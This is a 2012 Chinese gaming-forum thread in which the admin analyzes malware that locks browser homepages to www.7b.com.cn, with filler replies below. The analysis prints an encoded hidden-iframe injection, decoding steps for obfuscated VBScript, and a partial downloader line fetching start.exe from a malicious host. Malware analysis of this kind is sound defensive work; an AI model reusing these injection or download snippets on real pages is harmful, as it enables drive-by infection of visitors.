天泽在线_深圳CS俱乐部_CS对战平台_Cs1.6_amxx_sma插件_CS论坛

标题: 解决首页被改www.7b.com.cn的方法 [打印本页]

作者: admin 时间: 2012-4-26 07:50
标题: 解决首页被改www.7b.com.cn的方法
前不久，很多网友都感染了www.7b.com.cn的病毒，首页被改成这个网站，并且无法改回。黑客是如何做到锁定用户的浏览器首页呢？下面我们就去探个究竟。
　　提醒：分析病毒存在一定风险，建议在虚拟机下操作。
　　第一步查看www.7b.com.cn首页的源代码，可以发现在尾部有如下的字样：
　　<iframe src=&#104&#116&#116&#112&#58&#47&#47&#109&#46&#100&#97&#115&#104&#111&#119&#46&#99&#111&#109&#46&#99&#110&#47&#109&#46&#104&#116&#109&#108 width=0 height=0></iframe>
　　这是一个嵌入到7b网址之家首页的页面，即打开www.7b.com.cn也就同时打开了这个页面。
　　而 “&#104&#116&#116&#112&#58&#47&#47&#109&#46&#100&#97&#115&#104&#111&#119&#46&#99&#111&#109&#46&#99&#110&#47&#109&#46&#104&#116&#109&#108” 表示的是一个字符串，“&#”后面是每个字符串ASCII的十进制值。
　　直接把这段乱码保存为HTM文件，用IE打开，就可以看到它的真实面目“http://m.dashow.com.cn/m.html”。
　　第二步查看http://m.dashow.com.cn/m.html的源代码，把看的<scrtipt>脚本段中的Execute替换为Document.Write，然后打开这个HTM页面，就会出现一段代码，同样地，把EXECUTE换成我们无敌的Document.Write，前后加脚本标记，存HTM打开。屏幕上立即出现了一段令人眼花的东西。把眼花缭乱的东西整理一下，并将出现的CHR（）在前面用到过，作用是把字符的ASCII转成字符，只不过这次是16进制。然后再将字符拼接成字符串，然后再 Execute运行这个命令字符串。继续用Document.Write替换掉EXECUTE，前后加脚本标记，存HTM打开。
　　第三步经过上几步的还原后终于看到了这个恶意页面的最终面目。
　　on error resume next curl = "http://m.dashow.com.cn/start.exe"……其后省略。
　　这段代码中我们可以很清楚地看到http://m.dashow.com.cn/start.exe这个链接。没错，它就是运行后可以将用户主页锁定为www.7b.com.cn的病毒。
　　可以用下载工具将这个文件下载下来，如果你的杀毒软件查不到的话最好立即上报。这样可以保证杀毒软件快速查杀这个病毒，并使更少的网友免受该病毒的侵害。

作者: liwa11 时间: 2012-4-26 08:06
楼主福如东海，万寿无疆！

作者: a12311 时间: 2012-4-26 16:02
提示: 作者被禁止或删除内容自动屏蔽

作者: 天泽在线 时间: 2012-4-26 22:53
顶你一下.

作者: 464793604 时间: 2012-4-27 14:49
提示: 作者被禁止或删除内容自动屏蔽

作者: zhongcyy 时间: 2012-4-27 23:23
提示: 作者被禁止或删除内容自动屏蔽

作者: 1752 时间: 2012-4-28 02:32
提示: 作者被禁止或删除内容自动屏蔽

作者: 745951783 时间: 2012-4-28 10:07
提示: 作者被禁止或删除内容自动屏蔽

作者: 987563 时间: 2012-4-28 14:24
提示: 作者被禁止或删除内容自动屏蔽

作者: liaohon520 时间: 2012-4-28 14:34
提示: 作者被禁止或删除内容自动屏蔽

作者: 魔鬼中的天使 时间: 2012-4-28 16:40
呵呵，找个机会...

作者: 城主亲卫 时间: 2012-4-28 17:23
不知道说些什么

作者: cjm520001 时间: 2012-4-28 17:46
我回不回呢考虑再三还是不回了吧 ^_^

作者: 356672205 时间: 2012-4-28 20:20
提示: 作者被禁止或删除内容自动屏蔽

作者: 666111 时间: 2012-4-30 12:34
提示: 作者被禁止或删除内容自动屏蔽

作者: chan1204 时间: 2012-5-2 11:29
提示: 作者被禁止或删除内容自动屏蔽

作者: listyym210 时间: 2012-5-3 18:18
提示: 作者被禁止或删除内容自动屏蔽

作者: aawqs 时间: 2012-5-4 20:26
提示: 作者被禁止或删除内容自动屏蔽

作者: passlove111 时间: 2012-5-6 15:07
支持你一下下。。

作者: 天泽在线 时间: 2012-5-6 16:27
我在顶贴~！~

作者: 145623 时间: 2012-5-7 03:44
提示: 作者被禁止或删除内容自动屏蔽

作者: 745951783 时间: 2012-5-11 05:17
提示: 作者被禁止或删除内容自动屏蔽

作者: 。缘份 时间: 2016-10-23 22:46
世界上那些最容易的事情中，拖延时间最不费力。

作者: 西游 时间: 2016-12-17 06:13
顶顶更健康，越顶吃的越香。

作者: 爱先奎 时间: 2017-2-12 15:05
看看..

欢迎光临天泽在线_深圳CS俱乐部_CS对战平台_Cs1.6_amxx_sma插件_CS论坛 (https://bbs.tianzept.com/)